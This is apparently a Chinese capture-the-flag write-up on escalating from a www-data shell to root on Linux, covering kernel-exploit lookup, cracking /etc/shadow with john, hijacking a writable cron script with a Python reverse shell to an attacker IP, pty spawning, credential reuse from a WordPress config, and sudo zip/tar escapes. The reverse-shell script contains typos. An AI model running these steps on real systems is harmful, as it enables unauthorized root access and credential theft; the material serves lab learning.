ctf-web-已獲shell,通過路徑遍歷提權-思路筆記


提權介紹

  • 往往我們能拿下服務器的web服務只是具有低權限用戶(www-data),對於內網滲透,我們需要提權到root。Linux系統的提權過程不止涉及到了漏洞,也涉及了很多系統配置。
  • 提權前提:
    • 已經拿到低權shell
    • 被入侵的機器上面有nc,python,perl等linux非常常見的工具
    • 有權限上傳文件和下載文件

內核漏洞提權

內核漏洞是我們幾乎最先想到的提權方法。通殺的內核漏洞是十分少見的,因而我們應該先對系統相關的信息進行收集。

  1. 查看發行版本:cat /etc/issue     ;     cat /etc/*-release
  2. 查看內核版本:uname –aimage
  3. 找到系統版本號,通過kali的searchsploit查找該版本是否存在漏洞image
  4. 發現不存在內核溢出代碼
  5. 假若存在內核溢出代碼,可通過如下命令,上傳內核溢出代碼,編譯執行image

明文root提權-通過passwd和shadow破譯密碼

大多linux系統的密碼都和/etc/passwd和/etc/ shadow這兩個配置文件息息相關。passwd里面儲存了用戶,shadow里面是密碼的hash。出於安全考慮passwd是全用戶可讀,root可寫的。shadow是僅root可讀寫的。

例如破解linux用戶名和對應的密碼

  1. /etc/passwd /etc/shadow
  2. unshadow passwd shadow > cracked
  3. john cracked

計划任務

系統內可能會有一些定時執行的任務,一般這些任務由crontab來管理,具有所屬用戶的權限。非root權限的用戶是不可以列出root用戶的計划任務的。但是/etc/內系統的計划任務可以被列出

  • 使用命令:cat /etc/crontab 回車查看計划任務

默認這些程序以root權限執行,如果有幸遇到一個把其中腳本配置成任意用戶可寫的管理員,我們就可以修改腳本等回連rootshell;如果定時執行的文件是py腳本,可以使用一下的腳本來替換之前的腳本;

  • 靶場代碼
    #!/usr/bin/python
    import os,subprocess,socket
    s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((“攻擊機IP地址”,”攻擊機監聽端口"))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call([/bin/sh”,”-i1])
  • 攻擊機啟動nc監聽端口:nc -nlvp port

密碼復用

很多管理員會重復使用密碼,因此數據庫或者web后台的密碼也許就是root密碼。

有了(疑似)) root密碼怎么辦?你一定想ssh登陸。然而ssh很可能禁止root登陸,或是防火牆規則將你排除在外了。返回來想,我們不是有一個低權shell了嗎?找個辦法再上面“輸入”密碼就好了。顯然,直接在低權shell里面用sudo是不奏效的。這是因為出於安全考慮linux要求用戶必須從終端設備(tty)中輸入密碼,而不是標准輸入(stdin)。換句話說,sudo在你輸入密碼的時候本質上是讀取了鍵盤,而不是bash里面輸入的字符。因此為了能夠輸入密碼,我們必須模擬一個終端設備。python就有這樣的功能。在shell里面輸入:

  • python -c 'import pty;pty.spawn("/bin/sh")'
  • sudo
  • sudo –l
  • 嘗試弱口令登陸失敗
  • 繼續探測敏感信息
  • 進入 cs /home,ls查看用戶列表,發現zico用戶,進入用戶文件夾cd zico,查看文件夾內所有文件ls –alh,發現以下敏感信息image

  • 進入wordpress目錄,查看wp配置文件,發現image

  • 嘗試使用該用戶登陸

  • 通過ssh登陸,成功登陸image

  • 使用sudo-l查看當前用戶可以使用root提權的命令信息;image

  • 利用zip進行提權

    • -- touch exploit     新建exploit文件
    • -- sudo -u root zip exploit.zip exploit  -T  -unzip  -command="sh -c /bin/bash”  
  • 利用tar進行提權

    • -- sudo  -u root tar cf   /dev/null exploit  -checkpoint=1  --checkpoint   -action="/bin/bash"


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM